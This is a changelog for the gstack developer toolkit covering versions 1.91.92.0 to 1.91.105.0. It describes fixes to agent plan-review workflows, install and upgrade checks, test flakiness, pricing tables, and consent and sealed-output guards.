- **Hooks are registered at your `$HOME` install when `CLAUDE_CONFIG_DIR` is a per-session directory that links back to it (#3180).** Adopts #3181 by @Brit-juho (commit author NetrioGit).
- **Cursor no longer loads every skill twice from 1.31-era unprefixed folders (#3133, first reported by @andrewkjankowski in #3084).** `./setup --host cursor` removes only folders whose `SKILL.md` links into gstack and names them. Adopts #3152 by @szsunyuan.
- **A missing `bunx` is no longer reported as a network failure (#3131, reported by @gfl130902-maker).** setup installs Chromium with `bun x`; exit 127 names the resolved Bun and how to skip the browser.
- **`gstack-evidence` records a content fingerprint in SHA-256 repositories.**

**Plan reviews**

- **Plan reviews get their native second opinion back on Claude Code 2.1.277+ (#3182, reported by @HuellintonMota).** Claude Code removed the TaskOutput tool, so `/plan-ceo-review`, `/plan-eng-review` and `/plan-devex-review` always reported "Outside voice unavailable" without Codex. The fallback now runs the Plan subagent in the background beside a five-minute timer; only a complete report that beats the timer counts. If you still see `(OUTSIDE_VOICE_UNAVAILABLE)`, the cause names what is missing (docs/troubleshooting.md#outside-voice-unavailable); the review-log row carries `unavailable_reason`.
- **`/plan-eng-review` reads the CEO plan (#280).** `gstack-ceo-plan-find` finds the `/plan-ceo-review` plan for this branch and the Design Doc Check reads its scope as data. A plan from another branch is disclosed (`CEO plan found (from branch <b>, not <current>): <path>`) and interactive reviewers are asked first. Thanks @szsunyuan (#3159).

**Pregate, terminal agent and maintenance**

- **Pregate finds tests in Next.js route groups and through tsconfig path aliases.** Repo paths with `( ) [ ] + @ $` stay whole in the selection manifest and map to their files, and `compilerOptions.paths` resolve the way TypeScript does (exact pattern, then the most specific wildcard, targets in order; relative `extends` up to 4 hops). Uncertainty selects more tests, never fewer. A file with no lane gets `--explain` lines naming the unresolved specifiers. Thanks @vocodestudios (#3176).
- **Terminal-agent shutdown no longer orphans PTY descendants that ignore SIGHUP (Linux).** Long-lived processes started from the sidebar terminal now end 3 seconds after the session closes; start them elsewhere if they must outlive it. Thanks @Y4NN777 (#3148, #3147).
- **`gstack-skill-end` writes its completion event before the final drain,** so a full-tier end boundary pushes its own latest event. Thanks @Kkkkkuro (#3198).
- **`gstack-config` compares whole root paths and prints a recovery command that runs** when a path contains a space or an apostrophe. Thanks @davidfragnoli-lang (#3186).
- **`gstack-gbrain-sync` no longer dirties a tracked `.gitignore` that already ignores the pin.** Thanks @KuroChen (#3178).
- **`GSTACK_IOS_LAUNCH_ENV`** passes a JSON object of environment variables to the app on every `gstack-ios-qa-daemon` launch: `export GSTACK_IOS_LAUNCH_ENV='{"DEBUG_BRIDGE":"1"}'`, then restart the daemon. An invalid value or a `GSTACK_` key refuses the launch with `IOS_LAUNCH_ENV_INVALID`. Thanks @Bmathews721 (split from #1796).
- **Functional `/qa` and `/qa-only` probe every documented input rule.** The contract map asks for one invalid-input probe per stated rule (allowed characters, format, sign, range, arity), so an amount documented as digits-only is tried with a non-digit, not only zero and an overflow.
- **README no longer asks you to paste a skill list into CLAUDE.md (#3169).** If you did, delete the "Available skills:" line; Claude Code lists installed skills itself.
- **Dependencies:** `sharp` is declared; `@huggingface/transformers` 4.3.0 (onnxruntime-node 1.30.0) and dev `@anthropic-ai/claude-agent-sdk` 0.2.141 clear two transitive advisories, with identical classifier scores. Thanks @sonukapoor (#3145). CI actions bumped (dependabot #3175); Dependabot holds Playwright minor and major bumps behind the Windows `windowsHide` patch.

### For contributors

- `lib/script-invocation.ts` is the one way a TypeScript caller runs a gstack script or bash (`resolveWindowsBash` from one fixture table, `test/fixtures/windows-bash-resolution.json`, which `setup.ps1`'s tests also drive); `test/script-invocation-tripwire.test.ts` fails on new by-path or bare-`bash` spawns. New `.github/workflows/windows-pregate-e2e.yml` exercises restamp, regen, evidence, gate-diff and the refusal on `windows-latest`.
- `lib/sanitize-echo.ts` and its Bash twin `bin/gstack-sanitize-echo.sh` are the one sanitizer for echoed external strings.
- New result codes, each with a troubleshooting entry: `BUN_VERSION_UNREADABLE`, `BROWSE_TAB_UNRECOVERABLE`, `SETUP_PS1_EMPTY_ARGUMENT`, `BASH_UNAVAILABLE`, `IOS_LAUNCH_ENV_INVALID`, `OUTSIDE_VOICE_UNAVAILABLE`.
- Gate-integrity edits: the `/autoplan` phase guard's fail-open surface grows by exactly the compaction-explained unreachable component (existing `unrecognized_shape` allow-with-warning); pregate selection can only grow for alias-using repos; the plan-eng-review prompt-size ceiling rises from 1.2170 to 1.2196 for #3159.
- Tests stop writing into your real home and stop inheriting your git hooks: ship-measure CLI tests get a private HOME (thanks @y$un_, #3163) and the redact pre-push fixtures ignore `core.hooksPath` (thanks @Lockyer228, #3156, #2967).

## [1.91.105.0] - 2026-10-16

**The free suite stops needing its retry pass.
The health report tells the truth.**

Six of 46 main runs last week needed the free suite's serial retry pass to go green. Five test files caused it, and three shared one cause: since git 2.29, every `git commit` starts a background `git maintenance run` that creates and deletes `.git/objects/maintenance.lock` after the commit has returned, so a test that lists, watches or deletes `.git` right afterwards sees a file that is there one moment and gone the next. Those fixtures now turn auto-maintenance off, and the free runner does it for every test child as a backstop. The other two flakes were a fixed-count poll and a smoke test that called live GitHub. `gstack-timeline-read` now refuses filters it cannot apply instead of returning everything.

### The numbers that matter

Measured with the repo's own reproducer (`scripts/ship-measure.ts free`, flaky retry off), before on 47d639a and after on this branch. Commands and per-file counts are in the PR body.

| Measurement | Before | After |
|---|---|---|
| The five ledger files, 16-vCPU Ubicloud VM (`bun run test:ubicloud --diagnostic`) | 197/200 reruns clean | 600/600 |
| The three git fixtures under commit load, local runner env | 37/200 clean | 200/200 |
| Next-version smoke test, live GitHub calls | one `gh api` per open PR, one after another (27 PRs at 1.2 s: 32.6 s, past its 30 s limit) | none (runs in about 60 ms) |
| Weekly health: unseeded free test files | 164 (enforced check failing) | 0 |
| Weekly health: Windows wall population | dispatch recordings on main ("n/a (0 runs)" on Oct 12) | 78 successful PR runs, 9.2 min p50 (7 days to 2026-10-15) |

The headline number is the first row: three of 200 clean-tree reruns failed before, none of 600 after.

### What this means for you

When the free suite goes red now, it is far more likely to be your change. Read the failure, not the retry ledger.

### Itemized changes

#### Fixed

- **If you run `gstack-timeline-read --since` or `--branch` without a value,** you get exit 2 and `--since must be a relative time like "7 days ago" (got no value); accepted: ...` (or `--branch must be a branch name (got flag '--limit')`) instead of a crash.
- **If you pass `--since yesterday` or `--since "2 weeks"`,** you get exit 2 naming what it got, instead of your whole unfiltered history. Accepted forms: `7 days ago` (minute, hour, day, week, month), `7d` / `24h` / `2w`, and ISO dates `2026-10-01` or `2026-10-01T10:00:00Z`.
- **If you pass an argument `gstack-timeline-read` does not know,** it exits 2 with the usage line instead of ignoring it. `--help` prints the usage line.

#### Changed

- **If you read the weekly test-health report,** "Free-suite and Windows wall" now measures successful Windows runs on pull requests, says so (`windows-free-tests (successful PR runs) 9.2 min (78 runs)`), and prints `no successful PR runs in window` when there are none. It used to average the dispatch-only duration recordings on main.
- **If the health report says the duration seed is stale,** its fix line now names what the refresh needs (`UBICLOUD_API_KEY`, then `bun run test:ubicloud --record-durations`, which copies the seed back into your checkout) and tells contributors without the key to leave it to a maintainer. It no longer offers a CI recording, which does not exist.

#### For contributors

- The free runner appends `maintenance.auto=false` and `gc.auto=0` to every shard child's `GIT_CONFIG_*` pairs (`test/test-free-shards-git-maintenance.test.ts`). Fixtures that build their own git environment set the keys themselves; `docs/TESTING_INTERNALS.md#flake-ledger` has the rule and a recipe for reproducing a ledger entry from a CI run's `free-plan` artifact.
- The zombie publication-lock test synchronizes on a PID line its Python parent prints after `os.waitid(..., WNOWAIT)`, and the next-version smoke test runs the real CLI against a fake `gh` that logs and checks every call.
- `scripts/free-test-durations.json` is refreshed from a Ubicloud recording of this tree.
- No community contributions in this release.

## [1.91.101.0] - 2026-10-13

**The field wave's residual gaps are closed.** v1.91.96.0 through v1.91.100.0 shipped the install-honesty and unattended-`/autoplan` wave (`docs/designs/GSTACK_FIELD_WAVE_2026_10_12.md`); running that release on a Capy machine left six gaps, each reproduced here with a test that failed first.

### What this means for you

- **`all` no longer overrides a recommendation to change the plan.** `gstack-autoplan answer <rev> all` resolves only the items the reviewers recommend keeping; an item recommended `b` stays pending (`GATE_PENDING: <ids> unanswered …`) with the hint `all does not answer <id> (recommended b changes the plan); reply <id>a or <id>b yourself`. `all except <id>b` still answers everything in one line.
- **Every gate answer names who gave it.** `answer` takes `--by <human|agent:<id>>`; an unattended run refuses an answer without it (`ANSWER_BY_REQUIRED`, exit 3), and `decisions.jsonl` records `answered_by` so a review record can tell the owner's call from a delegate's.
- **Later reviewers see the earlier consensus.** The DX and Design prompts carry the CEO consensus (and each later phase every closed predecessor's), the way Eng already did, so a reopened CEO decision reaches every phase that depends on it.
- **An upgrade never moves a checkout under a live session.** Each `gstack-skill-start` touches an install-scoped lease (`bin/gstack-lease`, `<git dir>/gstack-leases/<harness pid>`, pruned after 120 minutes; the `/autoplan` driver renews it on every mutating command). `gstack-upgrade` refuses with `UPGRADE_BUSY` (exit 3) while a lease whose pid is alive and outside its own process chain exists; `gstack-lease list` shows them and `GSTACK_UPGRADE_FORCE=1` overrides.
- **Capy sessions stay at the tip, not at the floor.** `GSTACK_MIN_REVISION` is the floor below which the trailer fails and the frozen bootstrapper fast-forwards. Above it, `bin/gstack-capy-session` fast-forwards any clean, unpinned checkout behind origin at install-mode session start (`SELF_UPGRADE: done <old> -> <new>`, then installs from the new revision); a refusal prints `SELF_UPGRADE: skipped (<reason>)` and the session continues on the installed revision. `--check` never moves the checkout and reports `gstack-capy-session: behind origin/<branch>: … fix: …`. `GSTACK_CAPY_SELF_UPGRADE=off` disables only this fast-forward; `GSTACK_CAPY_AUTO_UPGRADE=0` disables every one.
- **gstack's own tools run on the Bun that launched them.** `lib/autoplan-prompts.ts`, `lib/restamp.ts` and `bin/gstack-gbrain-sync.ts` spawn `process.execPath` instead of whatever `bun` the PATH resolves, so a Capy machine whose PATH lacks `~/.bun/bin` no longer fails mid-workflow (`lib/autoplan-admission.ts` keeps probing the PATH Bun on purpose; that probe is the point).

- **`/ship` and `/review` load the QA methods as three awaited steps.** The exploratory preflight is now an ordered list (entrypoint, then `scope.md`, then each listed method, each in its own response) and names the smoke guard start, every capture and every plan check as probes that wait for them; the entrypoint alone completes nothing.

### For contributors

- `test/autoplan-residuals.test.ts` pins the `all` rule, the carried consensus, the `process.execPath` rule under `lib/` and `bin/*.ts`, and `--by`; `test/gstack-lease.test.ts` covers the lease; `test/gstack-upgrade-bin.test.ts` and `test/capy-skill-wrapper.test.ts` cover `UPGRADE_BUSY` and `SELF_UPGRADE:`.
- `bin/gstack-harness-pid.sh` is the one harness-pid derivation, sourced by `bin/gstack-skill-start` and `bin/gstack-lease`.
- The test preload and `test/helpers/hermetic-env.ts` set a per-run `GSTACK_LEASE_DIR`, so no test leases the developer's checkout.

## [1.91.100.0] - 2026-10-13

**A gbrain LongMemEval call plan now prices in full.** gbrain's `eval longmemeval --call-plan` (gbrain#6638) writes a `GSTACK_EVAL_CALLS` file for every lane of the run. `gstack-eval-plan price-gate` verified its binding but stopped at `EVAL_PRICE_MISSING` with the total unknown: it had no row for the judge (`gpt-4o`) or the reranker (`rerank-2.5`), and it did not recognize the dated Claude id gbrain resolves (`claude-haiku-4-5-20251001`). On the gbrain fixture plan (`--mode tokenmax --judge`) all seven lanes now price, for a total of $0.447.

### What this means for you

- **Dated Claude snapshots bill at their alias's price.** `claude-<name>-YYYYMMDD`, with or without a provider prefix, resolves to the `claude-<name>` row. Dated OpenAI snapshots are not folded, because some (`gpt-4o-2024-05-13`) have their own price.
- **New rows, sourced and dated in `lib/pricing.ts`:** `gpt-4o` ($2.50 in, $10 out, $1.25 cached per million tokens) and the Voyage rerankers `rerank-2.5` ($0.05) and `rerank-2.5-lite` ($0.02 per million processed tokens: query tokens × documents, plus document tokens).

### For contributors

- `test/pricing-eval-plan.test.ts` checks every model a gbrain call plan names. It failed before the change.

## [1.91.99.0] - 2026-10-13

**A Bun pin mismatch on Capy now names the one command that fixes it, and the skill says to run it.** After gbrain pinned Bun 1.4.3 in CI, a session-start check on a gbrain checkout ended `gstack: fail pins` with a fix line that offered two choices and no command, and the skill's repair step only covered `revision` and `runtime`, so an agent following the skill left the machine failing. The same bootstrapper run without `--check` already installs the pinned Bun (a verified 1.4.3 in about 4 s) and ends `gstack: ok`.

### What this means for you

- **The `pins` row's fix is the exact command on Capy.** Under the Drive bootstrapper, `FAIL pins … (PROJECT_PIN_MISMATCH)` now says `fix: bash <skill>/scripts/install.sh [--for <skill>] (installs the project's pinned Bun when it is a verified version: 1.4.2 1.4.3; otherwise it names the conflict), or change the pin in <project>`. Outside Capy the fix text is unchanged.
- **The Capy skill's repair step covers `pins`.** Step 2 runs the same command without `--check` when the trailer names `revision`, `runtime` or `pins`. A pin gstack has no verified archive for stops with `RUNTIME_PIN_CONFLICT` naming the pin to raise. The owner copies `capy/skill/gstack/` to the Drive skill folder as before; `scripts/install.sh` is unchanged.

### For contributors

- `test/gstack-doctor.test.ts` checks the Capy fix line (with and without `--for`) and that the non-Capy text does not name the wrapper; it fails before the change.

## [1.91.98.0] - 2026-10-13

**A lane's plan obligations now meet the repo's own gates before it reports done. Paid gates get a price before approval, a restamp is proved stamp-only by machine, and sealed eval output can't ride a push into a public repo.**

### What this means for you

- **Repo guards run in `gstack-pregate`.** `.gstack/pregate.json` takes `guards`: `{id, when: [globs], command, fix}`. When a changed file matches `when`, the guard runs in its own process with a timeout, and a failure names the guard and its fix. Guards cover the checks an import graph can't see, such as a serial-test manifest row or CLI goldens that spawn the binary. Required guards can't be downgraded, and without `--allow-repo-commands` the run is `incomplete`, never a pass. The lanes check runs on the verified Bun from the install's launch directory and runs serial test files one process each. Unknown flags exit 2 instead of being ignored.
- **`gstack-eval-plan price-gate` prices a paid gate without running it.** It reads a versioned call-plan file (`--plan-file`, or `price_file` in the base branch's policy) that is bound to the gate command, head and inputs, and prints `GATE_PRICE:` with every precondition the file declares. Nothing runs before approval. A gate that declares no plan is `EVAL_GATE_UNPRICED`; `--allow-unpriced "<reason>"` approves it as a recorded owner override, never as permission to spend. A stale or malformed plan file refuses. The new `reservation-fits-cap` check catches a single call whose reservation can't fit under the smoke cap. `/eval-plan` prices every paid gate this way at approval, passing the gate command as a file (`--gate-file`) so a command with quotes or `$` never goes through a shell string. The wire format and a reference emitter are in `docs/eval-calls.md`.
- **Current prices.** Claude Sonnet 5.5, Gemini 3.x Flash and the gbrain embedding models are priced from the providers' pages (source and date in the table), and Claude Opus 4.7 is at its current list price ($5/$25 per million tokens).
- **`gstack-pregate regate --against <gated-head>` says whether a restamped head needs a new gate.** It computes a fresh tree receipt and prints `STAMP_ONLY:`, one `LANE:` line per gate lane (reusable, rerun or not-reusable), `MIGRATION_COLLISION:` against the base and every other open PR, and `REGATE: needed|not-needed`. `not-needed` requires gate evidence for the gated head, an unchanged execution identity, no stamp-sensitive rerun and no unknown collision lookup. Bare `--against` is an alias.
- **The repo's stamp rule is the stamp rule.** Ship policy takes `stamp_files` (the files allowed to differ) and literal `stamp_patterns` with one `{version}` slot, such as `since: '{version}'`. A pure restamp of a repo whose versions sit in quoted `since:` rows, package manifests or stamp comments now classifies as stamps. `restamp_command` runs the repo's own restamp inside restamp's staging worktree with the target version, on a clean tree; a failure or a wrong-version output writes nothing. The `migrations` key (directory and id pattern) feeds the collision check.
- **A sealed-output guard runs before a push.** In a repo whose `.gstack/pregate.json` has a `sealed` key, the managed pre-push hook and `gstack-pregate sealed` check every commit the push publishes: forbidden paths (binary, empty, renamed and add-then-deleted files included), transcripts, quoted answer markers, seeds and machine-local paths. In a public repo a match refuses with the file, line and rule (`SEALED_OUTPUT_REFUSED`); in a private one it warns. The effective policy is the union of the base branch's and the pushed one, so a push can tighten the policy but never relax it. A malformed policy refuses, and unknown visibility counts as public. Waivers come only from a base-branch allow file. Repos without a `sealed` key see no change.
- **Lane handoffs carry the install and pregate lines.** The coordinator contract now asks a lane to run `gstack-pregate run --allow-repo-commands` (and `gstack-pregate sealed` where configured) before reporting done. Its handoff lists `GSTACK_RESULT`, then `gstack: ok|fail <rev>`, then `PREGATE:`, then the gate summary.

### For contributors

- `scripts/pr-dependencies.ts` traces breadth-first, so a trace names the shortest chain from a case's touchfiles to a file (selection is unchanged).
- New: `lib/pregate/checks/guards.ts`, `lib/pregate/regate.ts`, `lib/pregate/runtime.ts`, `lib/sealed-guard.ts`; docs `docs/eval-calls.md`, `docs/pregate.md#regate` and `#gbrain-worked-configs`.
- New result codes with troubleshooting anchors include `EVAL_GATE_UNPRICED`, `PREGATE_GUARD_FAILED`, `SEALED_OUTPUT_REFUSED` and `MIGRATION_COLLISION`.
- Pregate and ship-policy validators still refuse unknown keys, so a repo should commit `guards`, `sealed`, `price_file`, `stamp_files`, `stamp_patterns`, `restamp_command` or `migrations` only after its machines run this release.

## [1.91.97.0] - 2026-10-13

**An unattended `/autoplan` run on Capy now closes in its own run directory. Reviews done by Capy subagents bind with one command, a revised plan is reviewed in the same run, and the gate asks fewer, better questions.**

### What this means for you

- **`submit --record <file>` binds a review a subagent wrote by hand.** It accepts the canonical findings fence, one findings table (Severity and Title columns), one severity-tagged list (`- [High] title`) or a `No findings.` line, and it never guesses a severity. A record whose `INPUT:` line is present but wrong is refused. A record without one binds only with `--attest "<reason>" --attempt <id>`; it is labeled `receipt: attested`, `validate` counts it (`attested=<n>`), and it is refused if the plan was revised after that attempt was dispatched. `--attempt` is optional when exactly one attempt is open. `submit --voice outside --unavailable|--failed "<reason>"` closes a phase whose outside voice cannot run, and `next` and `resume` never redispatch it.
- **`revise --plan <v2>` reviews a revised plan in the same run.** Every phase whose reviewed Implementation-plan hash differs reopens (plus Eng) on the new snapshot; at the gate it starts the next gate revision. The revise is one recoverable step (`resume` finishes an interrupted one), and archives never overwrite each other. `next` prints `PLAN_CHANGED` and `answer` prints `PLAN_SOURCE_CHANGED` when the plan file moved since its snapshot.
- **Accepted plan changes must reach the plan.** When the owner accepts a change at the gate, `answer` prints one `APPLY:` line per change and `NEXT: gstack-autoplan revise …`. `next` refuses with `PLAN_AMEND_PENDING` until `revise --incorporates <decision ids>` binds the edit, or the owner withdraws a change with `--withdraw <id>`. A run cannot export as complete with a change pending. Naming an id that is not pending (never accepted as a plan change, or already settled) refuses with `AMENDMENT_UNKNOWN` instead of asking for the edit you just made.
- **User-challenge defaults follow agreeing voices, and say why.** When both voices flag the same finding as a change to scope, cost or direction (the same `changes` value) and both give a remedy, the item now recommends the change. Option b shows both remedies word for word, and the default is labeled `recommended: b (both voices; remedies shown)`. Anything weaker keeps your direction, labeled `(plan direction; voices disagree)`. **`all` now accepts those agreed changes**; reply `all as-is` to keep every direction in one token. p1's recommended text names the changes it would apply.
- **Reruns stop churning.** Reviewers set `user_challenge` only for a change to scope, cost or direction (`changes`). On a rerun, a challenge without one becomes the agent's own decision and does not reopen anything. Rerun prompts carry a `DECIDED AT THE GATE` block, and answers to items from phases that did not rerun carry forward instead of being asked again. A partial reply never overwrites an earlier answer, and the gate stays open until every approval is settled.
- **A plan without the two sections is scaffolded, not refused with empty output.** The first `next` explains `PLAN_SECTIONS_INVALID`; `next --scaffold` reviews a copy with the missing heading added and never edits your file.
- **Runs gated on older gstack still validate.** A run directory from an older gstack prints `GSTACK_VERSION_CHANGED` once and moves forward, and decision ids minted before 1.91.95 are renamed and journaled, so a reopened run exported after upgrading validates. A run written by a newer gstack is refused.
- **Admission on Capy.** `next`, `submit`, `answer`, `revise`, `export` and `run` make the same install check as skill start: under `GSTACK_CAPY=1` they refuse without a passing install verdict (`INSTALL_UNVERIFIED`), and in an unattended session they refuse a PATH Bun below the supported minimum. `status` and `resume` always work.
- **Scope keys on what changes.** The Design phase needs a rendered surface in the Implementation plan (a `.tsx`, `.css` or similar file, or a UI word next to a visual one); words in the Review record no longer count. `next` prints the evidence and the source per axis (`source=ui:flag,dx:detected`). `--no-dx` is new. A `<!-- gstack-autoplan-scope: … -->` marker on the plan's first line keeps flags across runs, and `next` prints the marker to add; gstack never writes your plan. The interactive skill uses the same detector.
- **PLAN_REALITY wants a receipt per measured number and the rule itself.** Each clause stating a measured quantity (seconds, %, $, tokens, MB) needs its own file:line, script or command receipt (`unreceipted_numbers=<n>` plus one `NUMBER_UNRECEIPTED:` line each), and a line claiming a decision rule must quote or link it (`unquoted=<n>`). Receipts on dot paths such as `.gstack/ship-policy.json:1` count. `submit` records the check for each plan revision; it never refuses a submit.
- **`autoplan/DRIVER.md` is the compact driver.** About a hundred lines generated from the code: the phase order, the artifact contract, the gate protocol and the coordinator contract, with no hook prose. `gstack-autoplan --help` and the first `next` print its path, and any host can read it instead of the full autoplan skill.

- **Six submits at once bind once.** `run.lock` is now created with its owner already written (a staged file linked into place), and an unreadable lock younger than 30 seconds counts as held, so a command that reads another's lock between create and write no longer deletes it and runs alongside it.

### For contributors

- New modules: `lib/autoplan-revise.ts`, `lib/autoplan-migrate.ts`, `lib/autoplan-plan-text.ts`, `lib/autoplan-admission.ts`, `lib/autoplan-scope.ts`, `lib/source-root.ts`, `scripts/resolvers/autoplan-driver.ts`.
- `test/autoplan-capy-e2e.test.ts` drives the whole unattended loop on the simulated Capy host: canonical and attested records, an unavailable outside voice, partial replies, the amendment interlock, revise, an interrupted run resumed, three gate revisions and a validating export.

## [1.91.96.0] - 2026-10-13

**On a Capy machine, gstack now tells the truth about itself and fixes the common cases on its own. An old checkout upgrades itself at session start, the install check agrees with the Bun your workflows run, and every fix line names a command that exists.**

### What this means for you

- **`bin/gstack-upgrade` exists.** It fast-forwards the checkout to the remote default branch and reinstalls (on Capy it runs the installer, so the Bun preflight comes first; elsewhere `./setup --refresh-registered`, which runs migrations). It never stashes, resets or discards anything. A dirty, diverged, pinned or locked checkout is refused with `UPGRADE_REFUSED`, and an unreachable remote with `UPGRADE_FETCH_FAILED`. `--check` prints `current` or `behind <installed> -> <remote>` and changes nothing. The doctor's revision fix, the installer's `--revision` note and the unattended upgrade notice now name this command.
- **A checkout below the supported minimum upgrades itself at session start.** The Capy skill's bootstrapper (`capy/skill/gstack/scripts/install.sh`) fetches the remote, reads `capy/support.env` from it, and, when the checkout is clean, unpinned and below `GSTACK_MIN_REVISION`, fast-forwards it under the install lock, reinstalls and rechecks. `--check` only reports `gstack: fail revision … (fast-forward available)`; install mode does the work. A setup interrupted after the fast-forward is finished by the next run. `GSTACK_CAPY_AUTO_UPGRADE=0` turns it off.
- **Workflows refuse while the install check fails.** The installer writes a verdict file for this checkout and HEAD. Under `GSTACK_CAPY=1`, `gstack-skill-start` refuses a workflow whose verdict is missing, failed, for another HEAD or for a different workflow, and in any unattended session it refuses a PATH Bun below the minimum (`status=refused`, exit 3). `GSTACK_ALLOW_UNSUPPORTED_RUNTIME=1` overrides and is recorded. Interactive sessions and other hosts' spawned sessions only warn.
- **The install check agrees with the Bun your workflows run.** `GSTACK_LAUNCH` now carries `PATH=<verified bun dir>:$PATH`, `GSTACK_CAPY=1` and `GSTACK_INSTALL_VERDICT`, and the wrapper prints it on `--check` as well as install. A bare doctor run in a fresh shell names the off-PATH Bun (`bun 1.4.2 found at ~/.bun/bin (not on PATH)`) with the exact fix. The installer reuses a verified Bun instead of downloading it again, and installs the version a project's CI pins next to a different system Bun. Planning-only checks (`--for autoplan`, the plan reviews, office-hours) report a project test-pin mismatch as `SKIP pins (planning-only …)`; workflows that run the project's tests still require it.
- **A stale copy of the Capy skill gets an owner action instead of a silent pass.** The canonical skill now lives in the repo at `capy/skill/gstack/`. The Drive copy is a small frozen bootstrapper that hands off to the checkout's full wrapper (`bin/gstack-capy-session`). An older copy keeps working and prints `CAPY_WRAPPER_STALE` with the copy command.
- **Machines that never run a workflow don't pay for the install.** A warm install on the same HEAD skips setup (about 1 s). The skill installs before the first workflow rather than at every session start. `docs/capy-install.md` explains how to bake gstack into a Capy snapshot.
- **The installed Bun follows the project's exact pin.** When the target repo pins one Bun version exactly (a CI `bun-version:`, `.bun-version`, engines) above gstack's minimum and gstack carries its verified archive (now 1.4.2 and 1.4.3), that archive is installed, so a repo moving its CI to 1.4.3 does not leave Capy machines on 1.4.2 failing `pins`. An exact pin without a verified archive stops with `RUNTIME_PIN_CONFLICT` and lists the verified versions.

### For contributors

- New: `bin/gstack-upgrade`, `bin/gstack-capy-session`, `bin/gstack-install-verdict.sh`, `lib/install-verdict.ts`, `capy/support.env`, `capy/skill/gstack/`. Tests `test/gstack-upgrade-bin.test.ts`, `test/capy-skill-wrapper.test.ts`, `test/install-verdict.test.ts`, and the shared simulated Capy host `test/helpers/capy-host.ts` (Bun 1.3.14 first on PATH, no Codex CLI).
- `GSTACK_MIN_REVISION` is raised only for install-honesty or security fixes, at stamp time, never above VERSION (pinned by test).

## [1.91.95.0] - 2026-10-12

**A reopened `/autoplan` gate now exports a run that validates.**

Answering a gate with an override reopens phases, and the next gate starts its item labels over (`d1`, `p1`, ...). Every decision row was minted as `<run>-<label>`, so the second gate's rows reused the first gate's ids, and `gstack-artifact validate` failed the exported run with `ARTIFACT_DUPLICATE_ID`.

### What this means for you

- **Rows from a later gate get their own ids.** Gate revision 1 keeps `<run>-<label>`. Revisions after a reopen use `<run>-r<rev>-<label>` (for example `run-…-r2-d1`). Reply grammar and labels are unchanged: you still answer `d1b` or `all`.
- **Tasks point at the approval that is open now.** `tasks.jsonl` rows are blocked on the current gate's plan approval (`<run>-r2-p1` after one reopen), not the first gate's answered one.
- **docs/unattended.md** documents the id shape.

### For contributors

- `decisionId(run, gateRev, itemId)` in `lib/gate-list.ts` is the one place that mints these ids. `decisionRows`, the export's task builder and the owner brief's lookup all use it.
- `test/autoplan-answer-invalidation.test.ts` drives a run through a reopen to a second gate, approves it, exports it and requires `ARTIFACT_VALID`. `test/gate-list.test.ts` checks unique ids across two revisions.

## [1.91.94.0] - 2026-10-12

**`/codex review --effort medium` runs one review at the effort you name, without changing your saved setting.**

`codex_effort` (1.91.92.0) sets Codex reasoning effort for every run, and `--xhigh` raised it for one. There was no per-run way to go lower, so a cheaper one-off review meant flipping the setting and flipping it back.

### What this means for you

- **`--effort <level>` on any `/codex` mode.** `/codex review --effort medium`, `/codex challenge --effort=low` and so on set the effort for that request only. It outranks an exported `GSTACK_CODEX_EFFORT`, `codex_effort` and the per-mode defaults. `--xhigh` keeps working as shorthand for `--effort xhigh`.
- **Flags only where flags go.** The flag counts directly after `/codex` or its mode word, alongside `-m`/`--model`/`--role`, before your prompt. `/codex what does --effort do?` sends that question to Codex instead of eating `--effort` as a setting, and `/codex review --effort medium` stays on native review. This also applies to `--xhigh`, which used to count anywhere in the input: `/codex review fix the parser --xhigh` now sends `--xhigh` as part of the instructions, so put it first (`/codex review --xhigh fix the parser`).
- **A typo costs nothing and says what to fix.** `--effort turbo` stops before any Codex call, including the model probe on a cold cache, with `'turbo' from /codex --effort is not a Codex reasoning effort level` and the list of levels. A missing value or conflicting effort flags stop with a message too.
- **docs:** `docs/model-policy.md` documents the per-request flag, and `docs/skills.md` documents `codex_effort` and `--effort` and no longer claims Challenge runs at `xhigh` (it runs at `high`).

### For contributors

- `gstack-codex-probe check-effort <default> --request <level>` and `run-with-timeout --effort <default> --request-effort <level>` take the request level (empty means none) and name `/codex --effort` as its source. The five `/codex` dispatch fences pass it as the allowlisted `'<effort-level>'` placeholder (grammar `^[a-z]*$`), so the level reaches the shell only as that quoted, allowlisted placeholder (never through prose), and the probe accepts only the seven levels. Test parsers of the `run-with-timeout` line accept the new argument.
- `test/codex-effort.test.ts` runs all five rendered dispatches against a fake `codex`, and the bogus-level case asserts the rejection and zero calls. `test/model-role-invocation.test.ts` adds a zero-call case for an invalid level in Step 0.5.

**/cso release qualification gates on finished reports. Report completeness is still measured, but it no longer blocks a release.**

- **Gate edit: `matchedCompleteMatrix` and `mandatoryReports` (scripts/cso-eval.ts).** Both gates used to require every report's helper completeness to be `complete`: no gap, and every domain assessed. The private corpus fixtures carry gaps by design. They have no workflow files for zizmor, their planted credentials are never tested live, `.env` is kept out of the sealed source, and gitleaks has no history to read. So no report could ever be `complete`, and no release could ever qualify. Both gates now require every report to be `finished`, on a complete, fully adjudicated matrix. A running, missing or failed report still fails them. Completeness stays its own measured rate: `reports` per group, and the evaluator's `completenessRates`. Garry approved this rule on 2026-10-11, choosing option (a). No threshold changed.

## [1.91.92.0] - 2026-10-11

**Outside reviews honor `codex_reviews` at the send, not in skill prose. Codex reasoning effort is a setting, and the README says what leaves your machine.**

- **Consent in the binaries (#3102).** `gstack-codex-probe run-with-timeout`, `gstack-claude-code`, `gstack-outside-voice run` and the unattended `/autoplan` runner read `codex_reviews` before anything starts. When it is `disabled`, or the config can't be read, or the value is unknown, they refuse with `not_run` / `consent_missing` (exit 3). The refusal prints the fix command and links the `outside-review-consent-missing` troubleshooting anchor. `/ship` design-lite and `/design-review` no longer hard-code consent, so `codex_reviews=disabled` now stops them too. `/codex` and `/claude-code` pass `--user-invoked` because you asked for those reviews by name. `gstack-config get --stored <key>` prints `enabled`, `disabled`, `unset` or `unreadable` (exit 2).
- **Reasoning effort (D1-A, #3098, closes #2934).** `run-with-timeout --effort <default>` uses `GSTACK_CODEX_EFFORT` first, then `gstack-config set codex_effort <level>`, then the gate's own default, and appends `model_reasoning_effort`. An invalid level stops before any Codex call. `/codex ... --xhigh` sets the env for that dispatch. `/spec` keeps `medium` inside its 120 s budget. `gstack-models list` shows the effective effort.
- **Privacy text (#1081, #1080, #1150).** The README's Privacy & Telemetry section now lists:
  - the telemetry fields and what is never sent
  - the local `skill-usage.jsonl` (repo and branch are stripped before upload)
  - the update check, which goes to GitHub
  - outside-review egress and its first-send notice
  - session markers and the timeline, which stay local

  The telemetry prompt and the `gstack-config` header match it.

